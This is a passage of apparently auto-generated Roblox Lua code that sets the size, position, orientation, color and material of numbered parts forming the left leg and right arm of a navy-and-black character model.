WedgePart52.BottomSurface = Enum.SurfaceType.Smooth
WedgePart52.Color = Color3.new(0, 0.12549, 0.376471)
WedgePart52.Position = Vector3.new(85.2099533, 4.71623325, 69.1954803)
WedgePart52.Orientation = Vector3.new(-13.4300003, 180, -180)
WedgePart52.Color = Color3.new(0, 0.12549, 0.376471)
WedgePart53.Parent = Model1
WedgePart53.Material = Enum.Material.SmoothPlastic
WedgePart53.BrickColor = BrickColor.new("Navy blue")
WedgePart53.Reflectance = 0.0049999998882413
WedgePart53.Rotation = Vector3.new(13.4300003, 0, -90)
WedgePart53.Anchored = true
WedgePart53.CanCollide = false
WedgePart53.FormFactor = Enum.FormFactor.Symmetric
WedgePart53.Size = Vector3.new(0.220499977, 0.385874987, 0.79909116)
WedgePart53.CFrame = CFrame.new(84.9075699, 5.39255524, 67.3724747, 1.11450326e-07, 0.999996722, -9.83475843e-07, -0.972667575, -1.19211848e-07, -0.232179835, -0.232180044, 9.53674544e-07, 0.972667694)
WedgePart53.BottomSurface = Enum.SurfaceType.Smooth
WedgePart53.Color = Color3.new(0, 0.12549, 0.376471)
WedgePart53.Position = Vector3.new(84.9075699, 5.39255524, 67.3724747)
WedgePart53.Orientation = Vector3.new(13.4300003, 0, -90)
WedgePart53.Color = Color3.new(0, 0.12549, 0.376471)
WedgePart54.Parent = Model1
WedgePart54.Material = Enum.Material.SmoothPlastic
WedgePart54.BrickColor = BrickColor.new("Navy blue")
WedgePart54.Reflectance = 0.0049999998882413
WedgePart54.Rotation = Vector3.new(13.4300003, 0, -180)
WedgePart54.Anchored = true
WedgePart54.CanCollide = false
WedgePart54.Size = Vector3.new(0.220499977, 0.245587617, 0.567151427)
WedgePart54.CFrame = CFrame.new(84.2177048, 4.8474412, 68.6509781, -0.99999994, 1.67656744e-05, 7.46475916e-06, -1.80406896e-05, -0.972671866, -0.232184008, 3.36804032e-06, -0.232183963, 0.972671926)
WedgePart54.BottomSurface = Enum.SurfaceType.Smooth
WedgePart54.Color = Color3.new(0, 0.12549, 0.376471)
WedgePart54.Position = Vector3.new(84.2177048, 4.8474412, 68.6509781)
WedgePart54.Orientation = Vector3.new(13.4300003, 0, -180)
WedgePart54.Color = Color3.new(0, 0.12549, 0.376471)
Model55.Name = "LeftLeg"
Model55.Parent = Model0
Part56.Name = "Left Leg1"
Part56.Parent = Model55
Part56.BrickColor = BrickColor.new("Pastel yellow")
Part56.Transparency = 1
Part56.Rotation = Vector3.new(0, -90, 0)
Part56.Anchored = true
Part56.CanCollide = false
Part56.FormFactor = Enum.FormFactor.Symmetric
Part56.Size = Vector3.new(1, 2, 1)
Part56.CFrame = CFrame.new(84.6178741, 1.43210542, 70.6219406, 0, 0, -1, 0, 1, 0, 1, 0, 0)
Part56.BottomSurface = Enum.SurfaceType.Smooth
Part56.Color = Color3.new(1, 1, 0.8)
Part56.Position = Vector3.new(84.6178741, 1.43210542, 70.6219406)
Part56.Orientation = Vector3.new(0, -90, 0)
Part56.Color = Color3.new(1, 1, 0.8)
Model57.Name = "RightArm"
Model57.Parent = Model0
Part58.Name = "Right Arm1"
Part58.Parent = Model57
Part58.BrickColor = BrickColor.new("Pastel yellow")
Part58.Transparency = 1
Part58.Rotation = Vector3.new(0, -90, 0)
Part58.Anchored = true
Part58.CanCollide = false
Part58.FormFactor = Enum.FormFactor.Symmetric
Part58.Size = Vector3.new(1, 2, 1)
Part58.CFrame = CFrame.new(84.7411346, 2.97469735, 72.663681, 8.15269212e-21, -2.35065841e-06, -1, -9.82558219e-19, 1, -2.35065841e-06, 1, 9.82558219e-19, 8.15038264e-21)
Part58.Color = Color3.new(1, 1, 0.8)
Part58.Position = Vector3.new(84.7411346, 2.97469735, 72.663681)
Part58.Orientation = Vector3.new(0, -90, 0)
Part58.Color = Color3.new(1, 1, 0.8)
WedgePart59.Parent = Model57
WedgePart59.Material = Enum.Material.SmoothPlastic
WedgePart59.BrickColor = BrickColor.new("Black")
WedgePart59.Reflectance = 0.0049999998882413
WedgePart59.Rotation = Vector3.new(166.570007, 0, 90)
WedgePart59.Anchored = true
WedgePart59.CanCollide = false
WedgePart59.FormFactor = Enum.FormFactor.Symmetric
WedgePart59.Size = Vector3.new(0.201244384, 0.201244384, 0.628686726)
WedgePart59.CFrame = CFrame.new(84.2616959, 4.99801111, 74.0790176, -5.42963967e-08, -0.999996722, -1.74767589e-10, -0.972667396, 4.60768206e-08, -0.232180774, 0.232180953, 1.65832912e-08, -0.972667456)
WedgePart59.BottomSurface = Enum.SurfaceType.Smooth
WedgePart59.Color = Color3.new(0.105882, 0.164706, 0.207843)
WedgePart59.Position = Vector3.new(84.2616959, 4.99801111, 74.0790176)
WedgePart59.Orientation = Vector3.new(13.4300003, -180, -90)
WedgePart59.Color = Color3.new(0.105882, 0.164706, 0.207843)
Part60.Name = "Brick"
Part60.Parent = Model57
Part60.Material = Enum.Material.SmoothPlastic
Part60.BrickColor = BrickColor.new("Medium blue")
Part60.Rotation = Vector3.new(0, 90, 0)
Part60.Anchored = true
Part60.CanCollide = false
Part60.FormFactor = Enum.FormFactor.Symmetric
Part60.Size = Vector3.new(1.23828077, 0.200000003, 1.23717237)
Part60.CFrame = CFrame.new(84.7160492, 2.58102369, 72.6230316, 5.99961609e-08, -1.85120155e-06, 1, -3.37511301e-06, 0.99999994, 1.85119586e-06, -0.99999994, -3.37511301e-06, 5.99902847e-08)
Part60.BottomSurface = Enum.SurfaceType.Smooth
Part60.TopSurface = Enum.SurfaceType.Smooth
Part60.Color = Color3.new(0.431373, 0.6, 0.792157)
Part60.Position = Vector3.new(84.7160492, 2.58102369, 72.6230316)
Part60.Orientation = Vector3.new(0, 90, 0)
Part60.Color = Color3.new(0.431373, 0.6, 0.792157)
BlockMesh61.Parent = Part60
Part62.Name = "Brick"
Part62.Parent = Model57
Part62.Material = Enum.Material.SmoothPlastic
Part62.BrickColor = BrickColor.new("Navy blue")
Part62.Reflectance = 0.0049999998882413
Part62.Rotation = Vector3.new(91.5699997, 0, 180)
Part62.Anchored = true
Part62.CanCollide = false
Part62.FormFactor = Enum.FormFactor.Symmetric
Part62.Size = Vector3.new(0.220499977, 0.233191282, 1.15868151)
Part62.CFrame = CFrame.new(85.2099533, 4.37128067, 73.2928162, -1, -2.60803667e-13, 2.9527652e-12, 2.84009643e-12, 0.0274504386, -0.99962306, -1.86642856e-13, -0.99962306, -0.0274504386)
Part62.BottomSurface = Enum.SurfaceType.Smooth
Part62.TopSurface = Enum.SurfaceType.Smooth
Part62.Color = Color3.new(0, 0.12549, 0.376471)
Part62.Position = Vector3.new(85.2099533, 4.37128067, 73.2928162)
Part62.Orientation = Vector3.new(88.4300003, 180, 0)
Part62.Color = Color3.new(0, 0.12549, 0.376471)
BlockMesh63.Parent = Part62
WedgePart64.Parent = Model57
WedgePart64.Material = Enum.Material.SmoothPlastic
WedgePart64.BrickColor = BrickColor.new("Navy blue")
WedgePart64.Reflectance = 0.0049999998882413
WedgePart64.Rotation = Vector3.new(166.570007, 0, 0)
WedgePart64.Anchored = true
WedgePart64.CanCollide = false
WedgePart64.Size = Vector3.new(0.220499977, 0.247997627, 0.567640364)
WedgePart64.CFrame = CFrame.new(85.2099533, 4.84621668, 73.5864563, 1, -1.67652124e-05, -7.6001279e-06, -1.8071687e-05, -0.972671807, -0.232184678, -3.49980428e-06, 0.232184678, -0.972671807)
WedgePart64.BottomSurface = Enum.SurfaceType.Smooth
WedgePart64.Color = Color3.new(0, 0.12549, 0.376471)
WedgePart64.Position = Vector3.new(85.2099533, 4.84621668, 73.5864563)
WedgePart64.Orientation = Vector3.new(13.4300003, -180, -180)
WedgePart64.Color = Color3.new(0, 0.12549, 0.376471)
WedgePart65.Parent = Model57
WedgePart65.Material = Enum.Material.SmoothPlastic
WedgePart65.BrickColor = BrickColor.new("Navy blue")
WedgePart65.Reflectance = 0.0049999998882413
WedgePart65.Rotation = Vector3.new(166.570007, 0, 0)
WedgePart65.Anchored = true
WedgePart65.CanCollide = false
WedgePart65.Size = Vector3.new(0.220499977, 0.245587617, 0.567151427)
WedgePart65.CFrame = CFrame.new(84.2177048, 4.84744263, 73.5864029, 0.99999994, 1.67656744e-05, 7.46475916e-06, 1.80406932e-05, -0.972671747, -0.232184559, 3.36802987e-06, 0.232184559, -0.972671807)
WedgePart65.BottomSurface = Enum.SurfaceType.Smooth
WedgePart65.Color = Color3.new(0, 0.12549, 0.376471)
WedgePart65.Position = Vector3.new(84.2177048, 4.84744263, 73.5864029)
WedgePart65.Orientation = Vector3.new(13.4300003, 180, 180)
WedgePart65.Color = Color3.new(0, 0.12549, 0.376471)
WedgePart66.Parent = Model57
WedgePart66.Material = Enum.Material.SmoothPlastic
WedgePart66.BrickColor = BrickColor.new("Navy blue")
WedgePart66.Reflectance = 0.0049999998882413
WedgePart66.Rotation = Vector3.new(-13.4300003, 0, 180)
WedgePart66.Anchored = true
WedgePart66.CanCollide = false
WedgePart66.Size = Vector3.new(0.220499977, 0.247997627, 0.551983833)
WedgePart66.CFrame = CFrame.new(85.2099533, 4.71623421, 73.0419388, -1, -1.67652124e-05, 7.60012608e-06, 1.8071687e-05, -0.972671807, 0.232184619, 3.49980428e-06, 0.232184619, 0.972671807)
WedgePart66.BottomSurface = Enum.SurfaceType.Smooth
WedgePart66.Color = Color3.new(0, 0.12549, 0.376471)
WedgePart66.Position = Vector3.new(85.2099533, 4.71623421, 73.0419388)
WedgePart66.Orientation = Vector3.new(-13.4300003, 0, 180)
WedgePart66.Color = Color3.new(0, 0.12549, 0.376471)
WedgePart67.Parent = Model57
WedgePart67.Material = Enum.Material.SmoothPlastic
WedgePart67.BrickColor = BrickColor.new("Navy blue")
WedgePart67.Reflectance = 0.0049999998882413
WedgePart67.Rotation = Vector3.new(166.570007, 0, -90)
WedgePart67.Anchored = true
WedgePart67.CanCollide = false
WedgePart67.FormFactor = Enum.FormFactor.Symmetric
WedgePart67.Size = Vector3.new(0.220499977, 0.220499977, 0.688841164)
WedgePart67.CFrame = CFrame.new(85.209816, 5.21992493, 74.1431198, -5.43020455e-08, 0.999996722, 1.75842618e-10, 0.972667396, 4.60712606e-08, -0.232180774, -0.232180953, 1.65836624e-08, -0.972667456)
WedgePart67.BottomSurface = Enum.SurfaceType.Smooth
WedgePart67.Color = Color3.new(0, 0.12549, 0.376471)
WedgePart67.Position = Vector3.new(85.209816, 5.21992493, 74.1431198)
WedgePart67.Orientation = Vector3.new(13.4300003, 180, 90)
WedgePart67.Color = Color3.new(0, 0.12549, 0.376471)
WedgePart68.Parent = Model57
WedgePart68.Material = Enum.Material.SmoothPlastic
WedgePart68.BrickColor = BrickColor.new("Navy blue")
WedgePart68.Reflectance = 0.0049999998882413
WedgePart68.Rotation = Vector3.new(166.570007, 0, -90)
WedgePart68.Anchored = true
WedgePart68.CanCollide = false
WedgePart68.FormFactor = Enum.FormFactor.Symmetric
WedgePart68.Size = Vector3.new(0.220499977, 0.385874987, 0.79909116)
WedgePart68.CFrame = CFrame.new(84.9075699, 5.39256382, 74.8649445, -1.11450369e-07, 0.999996722, -9.83476184e-07, 0.972667456, -1.1921243e-07, -0.232180417, -0.232180595, -9.53674203e-07, -0.972667515)
WedgePart68.BottomSurface = Enum.SurfaceType.Smooth
WedgePart68.Color = Color3.new(0, 0.12549, 0.376471)
WedgePart68.Position = Vector3.new(84.9075699, 5.39256382, 74.8649445)
WedgePart68.Orientation = Vector3.new(13.4300003, -180, 90)
WedgePart68.Color = Color3.new(0, 0.12549, 0.376471)
WedgePart69.Parent = Model57
WedgePart69.Material = Enum.Material.SmoothPlastic
WedgePart69.BrickColor = BrickColor.new("Navy blue")
WedgePart69.Reflectance = 0.0049999998882413
WedgePart69.Rotation = Vector3.new(-13.4300003, 0, -180)
WedgePart69.Anchored = true
WedgePart69.CanCollide = false
WedgePart69.Size = Vector3.new(0.220499977, 0.245587617, 0.546620429)
WedgePart69.CFrame = CFrame.new(84.2177048, 4.71814156, 73.0447464, -0.99999994, 1.67656744e-05, -7.46475735e-06, -1.80406932e-05, -0.972671747, 0.23218447, -3.36802987e-06, 0.23218447, 0.972671807)
WedgePart69.BottomSurface = Enum.SurfaceType.Smooth
WedgePart69.Color = Color3.new(0, 0.12549, 0.376471)
WedgePart69.Position = Vector3.new(84.2177048, 4.71814156, 73.0447464)
WedgePart69.Orientation = Vector3.new(-13.4300003, 0, -180)
WedgePart69.Color = Color3.new(0, 0.12549, 0.376471)
WedgePart70.Parent = Model57
WedgePart70.Material = Enum.Material.SmoothPlastic
WedgePart70.BrickColor = BrickColor.new("Navy blue")
WedgePart70.Reflectance = 0.0049999998882413
WedgePart70.Rotation = Vector3.new(166.570007, 0, 90)
WedgePart70.Anchored = true
WedgePart70.CanCollide = false
WedgePart70.FormFactor = Enum.FormFactor.Symmetric
WedgePart70.Size = Vector3.new(0.220499977, 0.385874987, 0.79909116)
WedgePart70.CFrame = CFrame.new(84.5220337, 5.39256382, 74.8649445, -1.11444727e-07, -0.999996722, 9.83477094e-07, -0.972667456, -1.19206732e-07, -0.232180417, 0.232180595, -9.53674316e-07, -0.972667515)
WedgePart70.BottomSurface = Enum.SurfaceType.Smooth
WedgePart70.Color = Color3.new(0, 0.12549, 0.376471)
WedgePart70.Position = Vector3.new(84.5220337, 5.39256382, 74.8649445)
WedgePart70.Orientation = Vector3.new(13.4300003, 180, -90)
WedgePart70.Color = Color3.new(0, 0.12549, 0.376471)
WedgePart71.Parent = Model57
WedgePart71.Material = Enum.Material.SmoothPlastic
WedgePart71.BrickColor = BrickColor.new("Navy blue")
WedgePart71.Reflectance = 0.0049999998882413
WedgePart71.Rotation = Vector3.new(166.570007, 0, 90)
WedgePart71.Anchored = true
WedgePart71.CanCollide = false
WedgePart71.FormFactor = Enum.FormFactor.Symmetric
WedgePart71.Size = Vector3.new(0.220499977, 0.220499977, 0.688841164)
WedgePart71.CFrame = CFrame.new(84.2184372, 5.21992493, 74.1431198, -5.42963967e-08, -0.999996722, -1.74767589e-10, -0.972667396, 4.60768206e-08, -0.232180774, 0.232180953, 1.65832912e-08, -0.972667456)
WedgePart71.BottomSurface = Enum.SurfaceType.Smooth
WedgePart71.Color = Color3.new(0, 0.12549, 0.376471)
WedgePart71.Position = Vector3.new(84.2184372, 5.21992493, 74.1431198)
WedgePart71.Orientation = Vector3.new(13.4300003, -180, -90)
WedgePart71.Color = Color3.new(0, 0.12549, 0.376471)
WedgePart72.Parent = Model57
WedgePart72.Material = Enum.Material.SmoothPlastic
WedgePart72.BrickColor = BrickColor.new("Black")
WedgePart72.Reflectance = 0.0049999998882413
WedgePart72.Rotation = Vector3.new(166.570007, 0, 0)
WedgePart72.Anchored = true
WedgePart72.CanCollide = false
WedgePart72.Size = Vector3.new(0.201244384, 0.226340756, 0.518070102)
WedgePart72.CFrame = CFrame.new(85.166626, 4.65694332, 73.5709457, 1, -1.67652124e-05, -7.6001279e-06, -1.8071687e-05, -0.972671807, -0.232184678, -3.49980428e-06, 0.232184678, -0.972671807)
WedgePart72.BottomSurface = Enum.SurfaceType.Smooth
WedgePart72.Color = Color3.new(0.105882, 0.164706, 0.207843)
WedgePart72.Position = Vector3.new(85.166626, 4.65694332, 73.5709457)
WedgePart72.Orientation = Vector3.new(13.4300003, -180, -180)
WedgePart72.Color = Color3.new(0.105882, 0.164706, 0.207843)
WedgePart73.Parent = Model57
WedgePart73.Material = Enum.Material.SmoothPlastic
WedgePart73.BrickColor = BrickColor.new("Black")
WedgePart73.Reflectance = 0.0049999998882413
WedgePart73.Rotation = Vector3.new(-13.4300003, 0, 180)
WedgePart73.Anchored = true
WedgePart73.CanCollide = false
WedgePart73.Size = Vector3.new(0.201244384, 0.226340756, 0.503780782)
WedgePart73.CFrame = CFrame.new(85.166626, 4.53830671, 73.0739899, -1, -1.67652124e-05, 7.60012608e-06, 1.8071687e-05, -0.972671807, 0.232184619, 3.49980428e-06, 0.232184619, 0.972671807)
WedgePart73.BottomSurface = Enum.SurfaceType.Smooth
WedgePart73.Color = Color3.new(0.105882, 0.164706, 0.207843)
WedgePart73.Position = Vector3.new(85.166626, 4.53830671, 73.0739899)
WedgePart73.Orientation = Vector3.new(-13.4300003, 0, 180)
WedgePart73.Color = Color3.new(0.105882, 0.164706, 0.207843)
WedgePart74.Parent = Model57
WedgePart74.Material = Enum.Material.SmoothPlastic
WedgePart74.BrickColor = BrickColor.new("Black")
WedgePart74.Reflectance = 0.0049999998882413
WedgePart74.Rotation = Vector3.new(166.570007, 0, 90)
WedgePart74.Anchored = true
WedgePart74.CanCollide = false
WedgePart74.FormFactor = Enum.FormFactor.Symmetric
WedgePart74.Size = Vector3.new(0.201244384, 0.352177709, 0.729308963)
WedgePart74.CFrame = CFrame.new(84.5387802, 5.15557623, 74.7378082, -1.11444727e-07, -0.999996722, 9.83477094e-07, -0.972667456, -1.19206732e-07, -0.232180417, 0.232180595, -9.53674316e-07, -0.972667515)
WedgePart74.BottomSurface = Enum.SurfaceType.Smooth
WedgePart74.Color = Color3.new(0.105882, 0.164706, 0.207843)
WedgePart74.Position = Vector3.new(84.5387802, 5.15557623, 74.7378082)
WedgePart74.Orientation = Vector3.new(13.4300003, 180, -90)
WedgePart74.Color = Color3.new(0.105882, 0.164706, 0.207843)
WedgePart75.Parent = Model57
WedgePart75.Material = Enum.Material.SmoothPlastic
WedgePart75.BrickColor = BrickColor.new("Black")
WedgePart75.Reflectance = 0.0049999998882413
WedgePart75.Rotation = Vector3.new(166.570007, 0, -90)
WedgePart75.Anchored = true
WedgePart75.CanCollide = false
WedgePart75.FormFactor = Enum.FormFactor.Symmetric
WedgePart75.Size = Vector3.new(0.201244384, 0.201244384, 0.628686726)
WedgePart75.CFrame = CFrame.new(85.1665039, 4.99801111, 74.0790176, -5.43020455e-08, 0.999996722, 1.75842618e-10, 0.972667396, 4.60712606e-08, -0.232180774, -0.232180953, 1.65836624e-08, -0.972667456)
WedgePart75.BottomSurface = Enum.SurfaceType.Smooth
WedgePart75.Color = Color3.new(0.105882, 0.164706, 0.207843)
WedgePart75.Position = Vector3.new(85.1665039, 4.99801111, 74.0790176)
WedgePart75.Orientation = Vector3.new(13.4300003, 180, 90)
WedgePart75.Color = Color3.new(0.105882, 0.164706, 0.207843)
WedgePart76.Parent = Model57
WedgePart76.Material = Enum.Material.SmoothPlastic
WedgePart76.BrickColor = BrickColor.new("Black")
WedgePart76.Reflectance = 0.0049999998882413
WedgePart76.Rotation = Vector3.new(-13.4300003, 0, -180)
WedgePart76.Anchored = true
WedgePart76.CanCollide = false
WedgePart76.Size = Vector3.new(0.201244384, 0.224141195, 0.498885751)
WedgePart76.CFrame = CFrame.new(84.2610245, 4.54004765, 73.0765152, -0.99999994, 1.67656744e-05, -7.46475735e-06, -1.80406932e-05, -0.972671747, 0.23218447, -3.36802987e-06, 0.23218447, 0.972671807)
WedgePart76.BottomSurface = Enum.SurfaceType.Smooth
WedgePart76.Color = Color3.new(0.105882, 0.164706, 0.207843)
WedgePart76.Position = Vector3.new(84.2610245, 4.54004765, 73.0765152)
WedgePart76.Orientation = Vector3.new(-13.4300003, 0, -180)
WedgePart76.Color = Color3.new(0.105882, 0.164706, 0.207843)
Part77.Name = "Brick"
Part77.Parent = Model57
Part77.Material = Enum.Material.SmoothPlastic
Part77.BrickColor = BrickColor.new("Navy blue")
Part77.Rotation = Vector3.new(0, 90, 0)
Part77.Anchored = true
Part77.CanCollide = false
Part77.FormFactor = Enum.FormFactor.Symmetric
Part77.Size = Vector3.new(1.19828081, 0.570214629, 1.1971724)
Part77.CFrame = CFrame.new(84.7160492, 2.46018195, 72.6230011, 5.99961609e-08, -1.85120155e-06, 1, -3.37511301e-06, 0.99999994, 1.85119586e-06, -0.99999994, -3.37511301e-06, 5.99902847e-08)
Part77.BottomSurface = Enum.SurfaceType.Smooth
Part77.TopSurface = Enum.SurfaceType.Smooth
Part77.Color = Color3.new(0, 0.12549, 0.376471)
Part77.Position = Vector3.new(84.7160492, 2.46018195, 72.6230011)
Part77.Orientation = Vector3.new(0, 90, 0)
Part77.Color = Color3.new(0, 0.12549, 0.376471)
BlockMesh78.Parent = Part77
Part79.Name = "Brick"
Part79.Parent = Model57
Part79.Material = Enum.Material.SmoothPlastic
Part79.BrickColor = BrickColor.new("Medium blue")
Part79.Rotation = Vector3.new(0, 90, 0)
Part79.Anchored = true
Part79.CanCollide = false
Part79.FormFactor = Enum.FormFactor.Symmetric
Part79.Size = Vector3.new(1.23828077, 0.200000003, 1.23717237)
Part79.CFrame = CFrame.new(84.7160492, 2.31716919, 72.6229935, 5.99961609e-08, -1.85120155e-06, 1, -3.37511301e-06, 0.99999994, 1.85119586e-06, -0.99999994, -3.37511301e-06, 5.99902847e-08)
Part79.BottomSurface = Enum.SurfaceType.Smooth
Part79.TopSurface = Enum.SurfaceType.Smooth
Part79.Color = Color3.new(0.431373, 0.6, 0.792157)
Part79.Position = Vector3.new(84.7160492, 2.31716919, 72.6229935)
Part79.Orientation = Vector3.new(0, 90, 0)
Part79.Color = Color3.new(0.431373, 0.6, 0.792157)
BlockMesh80.Parent = Part79
Part81.Name = "Brick"
Part81.Parent = Model57
Part81.Material = Enum.Material.SmoothPlastic
Part81.BrickColor = BrickColor.new("Really black")
Part81.Rotation = Vector3.new(0, 90, 0)
Part81.Anchored = true
Part81.CanCollide = false
Part81.FormFactor = Enum.FormFactor.Symmetric
Part81.Size = Vector3.new(1.09828091, 1.83832359, 1.0971725)
Part81.CFrame = CFrame.new(84.7160492, 3.1047945, 72.6229782, 5.99961609e-08, -1.85120155e-06, 1, -3.37511301e-06, 0.99999994, 1.85119586e-06, -0.99999994, -3.37511301e-06, 5.99902847e-08)
Part81.BottomSurface = Enum.SurfaceType.Smooth
Part81.TopSurface = Enum.SurfaceType.Smooth
Part81.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
Part81.Position = Vector3.new(84.7160492, 3.1047945, 72.6229782)
Part81.Orientation = Vector3.new(0, 90, 0)
Part81.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
BlockMesh82.Parent = Part81
Part83.Name = "Brick"
Part83.Parent = Model57
Part83.Material = Enum.Material.SmoothPlastic
Part83.BrickColor = BrickColor.new("Navy blue")
Part83.Reflectance = 0.0049999998882413
Part83.Rotation = Vector3.new(91.5699997, 0, 180)
Part83.Anchored = true
Part83.CanCollide = false
Part83.FormFactor = Enum.FormFactor.Symmetric
Part83.Size = Vector3.new(1.0134685, 0.220499977, 1.16327846)
Part83.CFrame = CFrame.new(84.6141891, 4.37454891, 73.3001938, -1, -2.60803667e-13, 2.9527652e-12, 2.84009643e-12, 0.0274504386, -0.99962306, -1.86642856e-13, -0.99962306, -0.0274504386)
Part83.BottomSurface = Enum.SurfaceType.Smooth
Part83.TopSurface = Enum.SurfaceType.Smooth
Part83.Color = Color3.new(0, 0.12549, 0.376471)
Part83.Position = Vector3.new(84.6141891, 4.37454891, 73.3001938)
Part83.Orientation = Vector3.new(88.4300003, 180, 0)
Part83.Color = Color3.new(0, 0.12549, 0.376471)
BlockMesh84.Parent = Part83
Part85.Name = "Brick"
Part85.Parent = Model57
Part85.Material = Enum.Material.SmoothPlastic
Part85.BrickColor = BrickColor.new("Black")
Part85.Reflectance = 0.0049999998882413
Part85.Rotation = Vector3.new(76.5699997, 0, -180)
Part85.Anchored = true
Part85.CanCollide = false
Part85.FormFactor = Enum.FormFactor.Symmetric
Part85.Size = Vector3.new(1.10684443, 1.46009409, 0.201244384)
Part85.CFrame = CFrame.new(84.713829, 4.75552559, 73.0631714, -1, 5.37522772e-13, 2.93691568e-12, 2.84009643e-12, -0.232184634, -0.972671747, -1.86642856e-13, -0.972671747, 0.232184634)
Part85.BottomSurface = Enum.SurfaceType.Smooth
Part85.TopSurface = Enum.SurfaceType.Smooth
Part85.Color = Color3.new(0.105882, 0.164706, 0.207843)
Part85.Position = Vector3.new(84.713829, 4.75552559, 73.0631714)
Part85.Orientation = Vector3.new(76.5699997, 0, 180)
Part85.Color = Color3.new(0.105882, 0.164706, 0.207843)
BlockMesh86.Parent = Part85
Part87.Name = "Brick"
Part87.Parent = Model57
Part87.Material = Enum.Material.SmoothPlastic
Part87.BrickColor = BrickColor.new("Black")
Part87.Reflectance = 0.0049999998882413
Part87.Rotation = Vector3.new(91.5699997, 0, 180)
Part87.Anchored = true
Part87.CanCollide = false
Part87.FormFactor = Enum.FormFactor.Symmetric
Part87.Size = Vector3.new(0.924965441, 0.201244384, 1.06169295)
Part87.CFrame = CFrame.new(84.6228943, 4.22646284, 73.3096848, -1, -2.60803667e-13, 2.9527652e-12, 2.84009643e-12, 0.0274504386, -0.99962306, -1.86642856e-13, -0.99962306, -0.0274504386)
Part87.BottomSurface = Enum.SurfaceType.Smooth
Part87.TopSurface = Enum.SurfaceType.Smooth
Part87.Color = Color3.new(0.105882, 0.164706, 0.207843)
Part87.Position = Vector3.new(84.6228943, 4.22646284, 73.3096848)
Part87.Orientation = Vector3.new(88.4300003, 180, 0)
Part87.Color = Color3.new(0.105882, 0.164706, 0.207843)
BlockMesh88.Parent = Part87
Part89.Name = "Brick"
Part89.Parent = Model57
Part89.Material = Enum.Material.SmoothPlastic
Part89.BrickColor = BrickColor.new("Black")
Part89.Reflectance = 0.0049999998882413
Part89.Rotation = Vector3.new(91.5699997, 0, 180)
Part89.Anchored = true
Part89.CanCollide = false
Part89.FormFactor = Enum.FormFactor.Symmetric
Part89.Size = Vector3.new(0.201244384, 0.212827399, 1.0574975)
Part89.CFrame = CFrame.new(85.166626, 4.22347784, 73.3029556, -1, -2.60803667e-13, 2.9527652e-12, 2.84009643e-12, 0.0274504386, -0.99962306, -1.86642856e-13, -0.99962306, -0.0274504386)
Part89.BottomSurface = Enum.SurfaceType.Smooth
Part89.TopSurface = Enum.SurfaceType.Smooth
Part89.Color = Color3.new(0.105882, 0.164706, 0.207843)
Part89.Position = Vector3.new(85.166626, 4.22347784, 73.3029556)
Part89.Orientation = Vector3.new(88.4300003, 180, 0)
Part89.Color = Color3.new(0.105882, 0.164706, 0.207843)
BlockMesh90.Parent = Part89
Part91.Name = "Brick"
Part91.Parent = Model57
Part91.Material = Enum.Material.SmoothPlastic
Part91.BrickColor = BrickColor.new("Black")
Part91.Reflectance = 0.0049999998882413
Part91.Rotation = Vector3.new(100.769997, 0, 180)
Part91.Anchored = true
Part91.CanCollide = false
Part91.FormFactor = Enum.FormFactor.Symmetric
Part91.Size = Vector3.new(0.201244384, 1.03670979, 0.806359112)
Part91.CFrame = CFrame.new(84.2610321, 4.18972492, 72.7606277, -1, -7.07928887e-13, 2.79888959e-12, 2.84009643e-12, 0.186831623, -0.982391953, -1.86642856e-13, -0.982391953, -0.186831623)
Part91.BottomSurface = Enum.SurfaceType.Smooth
Part91.TopSurface = Enum.SurfaceType.Smooth
Part91.Color = Color3.new(0.105882, 0.164706, 0.207843)
Part91.Position = Vector3.new(84.2610321, 4.18972492, 72.7606277)
Part91.Orientation = Vector3.new(79.2300034, 180, 0)
Part91.Color = Color3.new(0.105882, 0.164706, 0.207843)
BlockMesh92.Parent = Part91
Part93.Name = "Brick"
Part93.Parent = Model57
Part93.Material = Enum.Material.SmoothPlastic
Part93.BrickColor = BrickColor.new("Navy blue")
Part93.Reflectance = 0.0049999998882413
Part93.Rotation = Vector3.new(100.769997, 0, 180)
Part93.Anchored = true
Part93.CanCollide = false
Part93.FormFactor = Enum.FormFactor.Symmetric
Part93.Size = Vector3.new(1.21275008, 0.220499977, 0.883513689)
Part93.CFrame = CFrame.new(84.713829, 4.4197588, 72.2485504, -1, -7.07928887e-13, 2.79888959e-12, 2.84009643e-12, 0.186831623, -0.982391953, -1.86642856e-13, -0.982391953, -0.186831623)
Part93.BottomSurface = Enum.SurfaceType.Smooth
Part93.TopSurface = Enum.SurfaceType.Smooth
Part93.Color = Color3.new(0, 0.12549, 0.376471)
Part93.Position = Vector3.new(84.713829, 4.4197588, 72.2485504)
Part93.Orientation = Vector3.new(79.2300034, 180, 0)
Part93.Color = Color3.new(0, 0.12549, 0.376471)
BlockMesh94.Parent = Part93
Part95.Name = "Brick"
Part95.Parent = Model57
Part95.Material = Enum.Material.SmoothPlastic
Part95.BrickColor = BrickColor.new("Navy blue")
Part95.Reflectance = 0.0049999998882413
Part95.Rotation = Vector3.new(76.5699997, 0, -180)
Part95.Anchored = true
Part95.CanCollide = false
Part95.FormFactor = Enum.FormFactor.Symmetric
Part95.Size = Vector3.new(1.21275008, 1.59979963, 0.220499977)
Part95.CFrame = CFrame.new(84.713829, 4.95423937, 73.0300903, -1, 5.37522772e-13, 2.93691568e-12, 2.84009643e-12, -0.232184634, -0.972671747, -1.86642856e-13, -0.972671747, 0.232184634)
Part95.BottomSurface = Enum.SurfaceType.Smooth
Part95.TopSurface = Enum.SurfaceType.Smooth
Part95.Color = Color3.new(0, 0.12549, 0.376471)
Part95.Position = Vector3.new(84.713829, 4.95423937, 73.0300903)
Part95.Orientation = Vector3.new(76.5699997, 0, 180)
Part95.Color = Color3.new(0, 0.12549, 0.376471)
BlockMesh96.Parent = Part95
Part97.Name = "Brick"
Part97.Parent = Model57
Part97.Material = Enum.Material.SmoothPlastic
Part97.BrickColor = BrickColor.new("Navy blue")
Part97.Reflectance = 0.0049999998882413
Part97.Rotation = Vector3.new(100.769997, 0, 180)
Part97.Anchored = true
Part97.CanCollide = false
Part97.FormFactor = Enum.FormFactor.Symmetric
Part97.Size = Vector3.new(0.220499977, 1.13590491, 0.883513689)
Part97.CFrame = CFrame.new(85.2099533, 4.3318367, 72.6986923, -1, -7.07928887e-13, 2.79888959e-12, 2.84009643e-12, 0.186831623, -0.982391953, -1.86642856e-13, -0.982391953, -0.186831623)
Part97.BottomSurface = Enum.SurfaceType.Smooth
